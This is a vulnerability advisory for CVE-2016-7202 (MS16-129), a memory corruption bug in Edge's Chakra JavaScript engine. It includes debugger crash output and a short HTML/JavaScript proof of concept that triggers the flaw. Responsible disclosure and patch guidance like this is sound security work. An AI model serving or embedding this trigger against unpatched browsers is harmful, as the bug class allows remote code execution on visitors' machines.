Microsoft Edge Scripting Engine – Memory Corruption (MS16-129)
<!-- Source: http://www.security-assessment.com/files/documents/advisory/edge_chakra_mem_corruption.pdf Name: Microsoft Edge Scripting Engine Memory Corruption Vulnerability (MS16-129) CVE: CVE-2016-7202 Vendor Website: http://www.microsoft.com/ Date Released: 09/11/2016 Affected Software: Microsoft Windows 10, Microsoft Windows Server 2016 Researchers: Scott Bell Description A memory corruption vulnerability was identified in the Microsoft Edge Chakra JavaScript engine which could allow a malicious user to remotely execute arbitrary code on a vulnerable user’s machine, in the context of the current user. Exploitation Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means. The following table shows some cursory debug information: First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00040001 ebx=01b1e760 ecx=00000012 edx=00000006 esi=00000000 edi=03f60000 eip=6a714bea esp=0328fa80 ebp=0328fab0 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 jscript9!Recycler::ScanObject+0x23: 6a714bea 8b37 mov esi,dword ptr [edi] ds:0023:03f60000=???????? 2:046> k ChildEBP RetAddr 0328fab0 6a589768 jscript9!Recycler::ScanObject+0x23 0328facc 6a58973a jscript9!Recycler::TryMarkBigBlockList+0x22 0328faf0 6a589d83 jscript9!Recycler::ScanArena+0x7a 0328fb24 6a585f4c jscript9!Recycler::BackgroundFindRoots+0x8e 0328fb34 6a561263 jscript9!Recycler::DoBackgroundWork+0x103 0328fb60 6a6b162c jscript9!Recycler::ThreadProc+0xd1 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\msvcrt.dll - 0328fb98 775c1287 jscript9!Recycler::StaticThreadProc+0x1c WARNING: Stack unwind information not available. Following frames may be wrong. 0328fbd0 775c1328 msvcrt!itow_s+0x4c *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\kernel32.dll - 0328fbd8 7793ef1c msvcrt!endthreadex+0x6c 0328fbe4 777e3648 kernel32!BaseThreadInitThunk+0x12 0328fc24 777e361b ntdll!__RtlUserThreadStart+0x70 0328fc3c 00000000 ntdll!_RtlUserThreadStart+0x1b The following proof of concept code can be used to reproduce the vulnerability: --> <html> <META http-equiv="Expires" content="Tue, 20 Aug 1996 14:25:27 GMT"> <META http-equiv="Content-Type" content="text/html; charset=ISO-8859-5"> <body> <script>try{ for(var z in "a") a1.set(a1, '' ); Array.prototype.sort.call(a1, 'a', a1) a1 = this; a2 = []; a1 = a2.concat(a1.a1); var a1 = new Iterator(a1); a1.add(a1); for (let zzz = 0; zzz < 117; ++zzz) {a1.unshift(a2, a1);} a1.reverse(); Array.prototype.reverse.call(a1); a1.splice(1, 10); }catch(e){};</script> </body> </html> <!-- Solution M icrosoft validated this security issue and issued a patch (MS16-129) to remedy it. Security-Assessment.com recommends applying the patch which has been made available via Windows Update. About Security-Assessment.com Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients. Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research. For further information on this issue or any of our service offerings, contact us: Web www.security-assessment.com Email info@security-assessment.com --> |